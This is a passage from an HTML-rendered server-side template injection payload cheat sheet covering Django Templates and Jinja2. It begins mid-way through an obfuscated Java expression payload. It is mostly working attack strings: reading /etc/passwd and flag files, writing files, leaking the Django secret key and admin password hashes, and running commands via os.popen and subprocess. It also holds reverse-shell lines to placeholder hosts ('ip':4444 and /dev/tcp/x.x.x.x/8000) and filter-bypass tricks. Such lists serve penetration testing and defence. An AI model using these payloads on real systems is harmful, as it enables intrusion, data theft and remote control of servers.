class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">97</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">115</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">115</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">119</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">100</span><span class="p">))).</span><span class="na">getInputStream</span><span class="p">())}</span>
</code></pre></div>
<hr />
<h2 id="django-templates">Django Templates</h2>
<p>Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.</p>
<h3 id="detection_1">Detection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="p">{</span><span class="o">%</span> <span class="n">csrf_token</span> <span class="o">%</span><span class="p">}</span> <span class="c1"># Causes error with Jinja2</span>
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="p">{{</span> <span class="mi">7</span><span class="o">*</span><span class="mi">7</span> <span class="p">}}</span> <span class="c1"># Error with Django Templates</span>
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="n">ih0vr</span><span class="p">{{</span><span class="mi">364</span><span class="o">|</span><span class="n">add</span><span class="p">:</span><span class="mi">733</span><span class="p">}}</span><span class="n">d121r</span> <span class="c1"># Burp Payload -&gt; ih0vr1097d121r</span>
</code></pre></div>
<h3 id="django-templates-for-post-exploitation">Django Templates for post-exploitation</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="c1"># Variables</span>
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="p">{{</span> <span class="n">variable</span> <span class="p">}}</span>
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="p">{{</span> <span class="n">variable</span><span class="o">.</span><span class="n">attr</span> <span class="p">}}</span>
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a>
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="c1"># Filters</span>
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="p">{{</span> <span class="n">value</span><span class="o">|</span><span class="n">length</span> <span class="p">}}</span>
<a id="__codelineno-25-7" name="__codelineno-25-7" href="#__codelineno-25-7"></a>
<a id="__codelineno-25-8" name="__codelineno-25-8" href="#__codelineno-25-8"></a><span class="c1"># Tags</span>
<a id="__codelineno-25-9" name="__codelineno-25-9" href="#__codelineno-25-9"></a><span class="p">{</span><span class="o">%</span> <span class="n">csrf_token</span> <span class="o">%</span><span class="p">}</span>
</code></pre></div>
<h3 id="cross-site-scripting">Cross-site scripting</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="p">{{</span> <span class="s1">&#39;&lt;script&gt;alert(3)&lt;/script&gt;&#39;</span> <span class="p">}}</span>
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="p">{{</span> <span class="s1">&#39;&lt;script&gt;alert(3)&lt;/script&gt;&#39;</span> <span class="o">|</span> <span class="n">safe</span> <span class="p">}}</span>
</code></pre></div>
<h3 id="debug-information-leak">Debug information leak</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="p">{</span><span class="o">%</span> <span class="n">debug</span> <span class="o">%</span><span class="p">}</span>
</code></pre></div>
<h3 id="leaking-apps-secret-key">Leaking apps Secret Key</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="p">{{</span> <span class="n">messages</span><span class="o">.</span><span class="n">storages</span><span class="mf">.0</span><span class="o">.</span><span class="n">signer</span><span class="o">.</span><span class="n">key</span> <span class="p">}}</span>
</code></pre></div>
<h3 id="admin-site-url-leak">Admin Site URL leak</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a>{% include &#39;admin/base.html&#39; %}
</code></pre></div>
<h3 id="admin-username-and-password-hash-leak">Admin username and password hash leak</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a>{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a>{{e.user.get_username}} : {{e.user.password}}{% endfor %}
</code></pre></div>
<h2 id="jinja2">Jinja2</h2>
<p><a href="https://jinja.palletsprojects.com/">Official website</a></p>
<blockquote>
<p>Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. </p>
</blockquote>
<h3 id="jinja2-basic-injection">Jinja2 - Basic injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="p">{{</span><span class="mi">4</span><span class="o">*</span><span class="mi">4</span><span class="p">}}[[</span><span class="mi">5</span><span class="o">*</span><span class="mi">5</span><span class="p">]]</span>
<a id="__codelineno-31-2" name="__codelineno-31-2" href="#__codelineno-31-2"></a><span class="p">{{</span><span class="mi">7</span><span class="o">*</span><span class="s1">&#39;7&#39;</span><span class="p">}}</span> <span class="n">would</span> <span class="n">result</span> <span class="ow">in</span> <span class="mi">7777777</span>
<a id="__codelineno-31-3" name="__codelineno-31-3" href="#__codelineno-31-3"></a><span class="p">{{</span><span class="n">config</span><span class="o">.</span><span class="n">items</span><span class="p">()}}</span>
</code></pre></div>
<p>Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on a Flask application.</p>
<h3 id="jinja2-template-format">Jinja2 - Template format</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="p">{</span><span class="o">%</span> <span class="n">extends</span> <span class="s2">&quot;layout.html&quot;</span> <span class="o">%</span><span class="p">}</span>
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a><span class="p">{</span><span class="o">%</span> <span class="n">block</span> <span class="n">body</span> <span class="o">%</span><span class="p">}</span>
<a id="__codelineno-32-3" name="__codelineno-32-3" href="#__codelineno-32-3"></a> <span class="o">&lt;</span><span class="n">ul</span><span class="o">&gt;</span>
<a id="__codelineno-32-4" name="__codelineno-32-4" href="#__codelineno-32-4"></a> <span class="p">{</span><span class="o">%</span> <span class="k">for</span> <span class="n">user</span> <span class="ow">in</span> <span class="n">users</span> <span class="o">%</span><span class="p">}</span>
<a id="__codelineno-32-5" name="__codelineno-32-5" href="#__codelineno-32-5"></a> <span class="o">&lt;</span><span class="n">li</span><span class="o">&gt;&lt;</span><span class="n">a</span> <span class="n">href</span><span class="o">=</span><span class="s2">&quot;{{ user.url }}&quot;</span><span class="o">&gt;</span><span class="p">{{</span> <span class="n">user</span><span class="o">.</span><span class="n">username</span> <span class="p">}}</span><span class="o">&lt;/</span><span class="n">a</span><span class="o">&gt;&lt;/</span><span class="n">li</span><span class="o">&gt;</span>
<a id="__codelineno-32-6" name="__codelineno-32-6" href="#__codelineno-32-6"></a> <span class="p">{</span><span class="o">%</span> <span class="n">endfor</span> <span class="o">%</span><span class="p">}</span>
<a id="__codelineno-32-7" name="__codelineno-32-7" href="#__codelineno-32-7"></a> <span class="o">&lt;/</span><span class="n">ul</span><span class="o">&gt;</span>
<a id="__codelineno-32-8" name="__codelineno-32-8" href="#__codelineno-32-8"></a><span class="p">{</span><span class="o">%</span> <span class="n">endblock</span> <span class="o">%</span><span class="p">}</span>
</code></pre></div>
<h3 id="jinja2-debug-statement">Jinja2 - Debug Statement</h3>
<p>If the Debug Extension is enabled, a <code>{% debug %}</code> tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><span class="o">&lt;</span><span class="n">pre</span><span class="o">&gt;</span><span class="p">{</span><span class="o">%</span> <span class="n">debug</span> <span class="o">%</span><span class="p">}</span><span class="o">&lt;/</span><span class="n">pre</span><span class="o">&gt;</span>
</code></pre></div>
<p>Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement</p>
<h3 id="jinja2-dump-all-used-classes">Jinja2 - Dump all used classes</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a><span class="p">{{</span> <span class="p">[]</span><span class="o">.</span><span class="n">class</span><span class="o">.</span><span class="n">base</span><span class="o">.</span><span class="n">subclasses</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-34-2" name="__codelineno-34-2" href="#__codelineno-34-2"></a><span class="p">{{</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">class</span><span class="o">.</span><span class="n">mro</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">subclasses</span><span class="p">()}}</span>
<a id="__codelineno-34-3" name="__codelineno-34-3" href="#__codelineno-34-3"></a><span class="p">{{</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="vm">__mro__</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()</span> <span class="p">}}</span>
</code></pre></div>
<p>Access <code>__globals__</code> and <code>__builtins__</code>:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a><span class="p">{{</span> <span class="bp">self</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">__builtins__</span> <span class="p">}}</span>
</code></pre></div>
<h3 id="jinja2-dump-all-config-variables">Jinja2 - Dump all config variables</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-36-1" name="__codelineno-36-1" href="#__codelineno-36-1"></a><span class="p">{</span><span class="o">%</span> <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">config</span><span class="o">.</span><span class="n">iteritems</span><span class="p">()</span> <span class="o">%</span><span class="p">}</span>
<a id="__codelineno-36-2" name="__codelineno-36-2" href="#__codelineno-36-2"></a> <span class="o">&lt;</span><span class="n">dt</span><span class="o">&gt;</span><span class="p">{{</span> <span class="n">key</span><span class="o">|</span><span class="n">e</span> <span class="p">}}</span><span class="o">&lt;/</span><span class="n">dt</span><span class="o">&gt;</span>
<a id="__codelineno-36-3" name="__codelineno-36-3" href="#__codelineno-36-3"></a> <span class="o">&lt;</span><span class="n">dd</span><span class="o">&gt;</span><span class="p">{{</span> <span class="n">value</span><span class="o">|</span><span class="n">e</span> <span class="p">}}</span><span class="o">&lt;/</span><span class="n">dd</span><span class="o">&gt;</span>
<a id="__codelineno-36-4" name="__codelineno-36-4" href="#__codelineno-36-4"></a><span class="p">{</span><span class="o">%</span> <span class="n">endfor</span> <span class="o">%</span><span class="p">}</span>
</code></pre></div>
<h3 id="jinja2-read-remote-file">Jinja2 - Read remote file</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-37-1" name="__codelineno-37-1" href="#__codelineno-37-1"></a><span class="c1"># &#39;&#39;.__class__.__mro__[2].__subclasses__()[40] = File class</span>
<a id="__codelineno-37-2" name="__codelineno-37-2" href="#__codelineno-37-2"></a><span class="p">{{</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="vm">__mro__</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">40</span><span class="p">](</span><span class="s1">&#39;/etc/passwd&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-37-3" name="__codelineno-37-3" href="#__codelineno-37-3"></a><span class="p">{{</span> <span class="n">config</span><span class="o">.</span><span class="n">items</span><span class="p">()[</span><span class="mi">4</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="vm">__mro__</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">40</span><span class="p">](</span><span class="s2">&quot;/tmp/flag&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-37-4" name="__codelineno-37-4" href="#__codelineno-37-4"></a><span class="c1"># https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398</span>
<a id="__codelineno-37-5" name="__codelineno-37-5" href="#__codelineno-37-5"></a><span class="p">{{</span> <span class="n">get_flashed_messages</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">__builtins__</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&quot;/etc/passwd&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</code></pre></div>
<h3 id="jinja2-write-into-remote-file">Jinja2 - Write into remote file</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-38-1" name="__codelineno-38-1" href="#__codelineno-38-1"></a><span class="p">{{</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="vm">__mro__</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">40</span><span class="p">](</span><span class="s1">&#39;/var/www/html/myflaskapp/hello.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">&#39;Hello here !&#39;</span><span class="p">)</span> <span class="p">}}</span>
</code></pre></div>
<h3 id="jinja2-remote-code-execution">Jinja2 - Remote Code Execution</h3>
<p>Listen for connection</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-39-1" name="__codelineno-39-1" href="#__codelineno-39-1"></a>nc<span class="w"> </span>-lnvp<span class="w"> </span><span class="m">8000</span>
</code></pre></div>
<h4 id="jinja2-forcing-output-on-blind-rce">Jinja2 - Forcing output on blind RCE</h4>
<p>You can import Flask functions to return an output from the vulnerable page.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-40-1" name="__codelineno-40-1" href="#__codelineno-40-1"></a><span class="p">{{</span>
<a id="__codelineno-40-2" name="__codelineno-40-2" href="#__codelineno-40-2"></a><span class="n">x</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="n">__builtins__</span><span class="o">.</span><span class="n">exec</span><span class="p">(</span><span class="s2">&quot;from flask import current_app, after_this_request</span>
<a id="__codelineno-40-3" name="__codelineno-40-3" href="#__codelineno-40-3"></a><span class="nd">@after_this_request</span>
<a id="__codelineno-40-4" name="__codelineno-40-4" href="#__codelineno-40-4"></a><span class="k">def</span> <span class="nf">hook</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<a id="__codelineno-40-5" name="__codelineno-40-5" href="#__codelineno-40-5"></a> <span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">make_response</span>
<a id="__codelineno-40-6" name="__codelineno-40-6" href="#__codelineno-40-6"></a> <span class="n">r</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="s1">&#39;Powned&#39;</span><span class="p">)</span>
<a id="__codelineno-40-7" name="__codelineno-40-7" href="#__codelineno-40-7"></a> <span class="k">return</span> <span class="n">r</span>
<a id="__codelineno-40-8" name="__codelineno-40-8" href="#__codelineno-40-8"></a><span class="s2">&quot;)</span>
<a id="__codelineno-40-9" name="__codelineno-40-9" href="#__codelineno-40-9"></a><span class="p">}}</span>
</code></pre></div>
<h4 id="exploit-the-ssti-by-calling-ospopenread">Exploit the SSTI by calling os.popen().read()</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-41-1" name="__codelineno-41-1" href="#__codelineno-41-1"></a><span class="p">{{</span> <span class="bp">self</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">__builtins__</span><span class="o">.</span><span class="n">__import__</span><span class="p">(</span><span class="s1">&#39;os&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</code></pre></div>
<p>But when <code>__builtins__</code> is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-42-1" name="__codelineno-42-1" href="#__codelineno-42-1"></a><span class="p">{{</span> <span class="bp">self</span><span class="o">.</span><span class="n">_TemplateReference__context</span><span class="o">.</span><span class="n">cycler</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-42-2" name="__codelineno-42-2" href="#__codelineno-42-2"></a><span class="p">{{</span> <span class="bp">self</span><span class="o">.</span><span class="n">_TemplateReference__context</span><span class="o">.</span><span class="n">joiner</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-42-3" name="__codelineno-42-3" href="#__codelineno-42-3"></a><span class="p">{{</span> <span class="bp">self</span><span class="o">.</span><span class="n">_TemplateReference__context</span><span class="o">.</span><span class="n">namespace</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</code></pre></div>
<p>We can use these shorter payloads:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-43-1" name="__codelineno-43-1" href="#__codelineno-43-1"></a><span class="p">{{</span> <span class="n">cycler</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-43-2" name="__codelineno-43-2" href="#__codelineno-43-2"></a><span class="p">{{</span> <span class="n">joiner</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
<a id="__codelineno-43-3" name="__codelineno-43-3" href="#__codelineno-43-3"></a><span class="p">{{</span> <span class="n">namespace</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="o">.</span><span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</code></pre></div>
<p>Source <a href="https://twitter.com/podalirius_">@podalirius_</a> : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/</p>
<p>With <a href="https://github.com/p0dalirius/objectwalker">objectwalker</a> we can find a path to the <code>os</code> module from <code>lipsum</code>. This is the shortest payload known to achieve RCE in a Jinja2 template:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-44-1" name="__codelineno-44-1" href="#__codelineno-44-1"></a><span class="p">{{</span> <span class="n">lipsum</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s2">&quot;os&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</code></pre></div>
<p>Source: https://twitter.com/podalirius_/status/1655970628648697860</p>
<h4 id="exploit-the-ssti-by-calling-subprocesspopen">Exploit the SSTI by calling subprocess.Popen</h4>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/svg/26a0.svg" title=":warning:" /> the number 396 will vary depending of the application.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-45-1" name="__codelineno-45-1" href="#__codelineno-45-1"></a><span class="p">{{</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">mro</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">396</span><span class="p">](</span><span class="s1">&#39;cat flag.txt&#39;</span><span class="p">,</span><span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span><span class="n">stdout</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">communicate</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()}}</span>
<a id="__codelineno-45-2" name="__codelineno-45-2" href="#__codelineno-45-2"></a><span class="p">{{</span><span class="n">config</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;os&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s1">&#39;ls&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()}}</span>
</code></pre></div>
<h4 id="exploit-the-ssti-by-calling-popen-without-guessing-the-offset">Exploit the SSTI by calling Popen without guessing the offset</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-46-1" name="__codelineno-46-1" href="#__codelineno-46-1"></a><span class="p">{</span><span class="o">%</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()</span> <span class="o">%</span><span class="p">}{</span><span class="o">%</span> <span class="k">if</span> <span class="s2">&quot;warning&quot;</span> <span class="ow">in</span> <span class="n">x</span><span class="o">.</span><span class="vm">__name__</span> <span class="o">%</span><span class="p">}{{</span><span class="n">x</span><span class="p">()</span><span class="o">.</span><span class="n">_module</span><span class="o">.</span><span class="n">__builtins__</span><span class="p">[</span><span class="s1">&#39;__import__&#39;</span><span class="p">](</span><span class="s1">&#39;os&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s2">&quot;python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((</span><span class="se">\&quot;</span><span class="s2">ip</span><span class="se">\&quot;</span><span class="s2">,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([</span><span class="se">\&quot;</span><span class="s2">/bin/cat</span><span class="se">\&quot;</span><span class="s2">, </span><span class="se">\&quot;</span><span class="s2">flag.txt</span><span class="se">\&quot;</span><span class="s2">]);&#39;&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">417</span><span class="p">)}}{</span><span class="o">%</span><span class="n">endif</span><span class="o">%</span><span class="p">}{</span><span class="o">%</span> <span class="n">endfor</span> <span class="o">%</span><span class="p">}</span>
</code></pre></div>
<p>Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &amp;input=ls)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-47-1" name="__codelineno-47-1" href="#__codelineno-47-1"></a><span class="p">{</span><span class="o">%</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()</span> <span class="o">%</span><span class="p">}{</span><span class="o">%</span> <span class="k">if</span> <span class="s2">&quot;warning&quot;</span> <span class="ow">in</span> <span class="n">x</span><span class="o">.</span><span class="vm">__name__</span> <span class="o">%</span><span class="p">}{{</span><span class="n">x</span><span class="p">()</span><span class="o">.</span><span class="n">_module</span><span class="o">.</span><span class="n">__builtins__</span><span class="p">[</span><span class="s1">&#39;__import__&#39;</span><span class="p">](</span><span class="s1">&#39;os&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">input</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()}}{</span><span class="o">%</span><span class="n">endif</span><span class="o">%</span><span class="p">}{</span><span class="o">%</span><span class="n">endfor</span><span class="o">%</span><span class="p">}</span>
</code></pre></div>
<h4 id="exploit-the-ssti-by-writing-an-evil-config-file">Exploit the SSTI by writing an evil config file.</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-48-1" name="__codelineno-48-1" href="#__codelineno-48-1"></a><span class="c1"># evil config</span>
<a id="__codelineno-48-2" name="__codelineno-48-2" href="#__codelineno-48-2"></a><span class="p">{{</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="vm">__mro__</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">40</span><span class="p">](</span><span class="s1">&#39;/tmp/evilconfig.cfg&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">&#39;from subprocess import check_output</span><span class="se">\n\n</span><span class="s1">RUNCMD = check_output</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span> <span class="p">}}</span>
<a id="__codelineno-48-3" name="__codelineno-48-3" href="#__codelineno-48-3"></a>
<a id="__codelineno-48-4" name="__codelineno-48-4" href="#__codelineno-48-4"></a><span class="c1"># load the evil config</span>
<a id="__codelineno-48-5" name="__codelineno-48-5" href="#__codelineno-48-5"></a><span class="p">{{</span> <span class="n">config</span><span class="o">.</span><span class="n">from_pyfile</span><span class="p">(</span><span class="s1">&#39;/tmp/evilconfig.cfg&#39;</span><span class="p">)</span> <span class="p">}}</span>
<a id="__codelineno-48-6" name="__codelineno-48-6" href="#__codelineno-48-6"></a>
<a id="__codelineno-48-7" name="__codelineno-48-7" href="#__codelineno-48-7"></a><span class="c1"># connect to evil host</span>
<a id="__codelineno-48-8" name="__codelineno-48-8" href="#__codelineno-48-8"></a><span class="p">{{</span> <span class="n">config</span><span class="p">[</span><span class="s1">&#39;RUNCMD&#39;</span><span class="p">](</span><span class="s1">&#39;/bin/bash -c &quot;/bin/bash -i &gt;&amp; /dev/tcp/x.x.x.x/8000 0&gt;&amp;1&quot;&#39;</span><span class="p">,</span><span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> <span class="p">}}</span>
</code></pre></div>
<h3 id="jinja2-filter-bypass">Jinja2 - Filter bypass</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-49-1" name="__codelineno-49-1" href="#__codelineno-49-1"></a><span class="n">request</span><span class="o">.</span><span class="vm">__class__</span>
<a id="__codelineno-49-2" name="__codelineno-49-2" href="#__codelineno-49-2"></a><span class="n">request</span><span class="p">[</span><span class="s2">&quot;__class__&quot;</span><span class="p">]</span>
</code></pre></div>
<p>Bypassing <code>_</code></p>
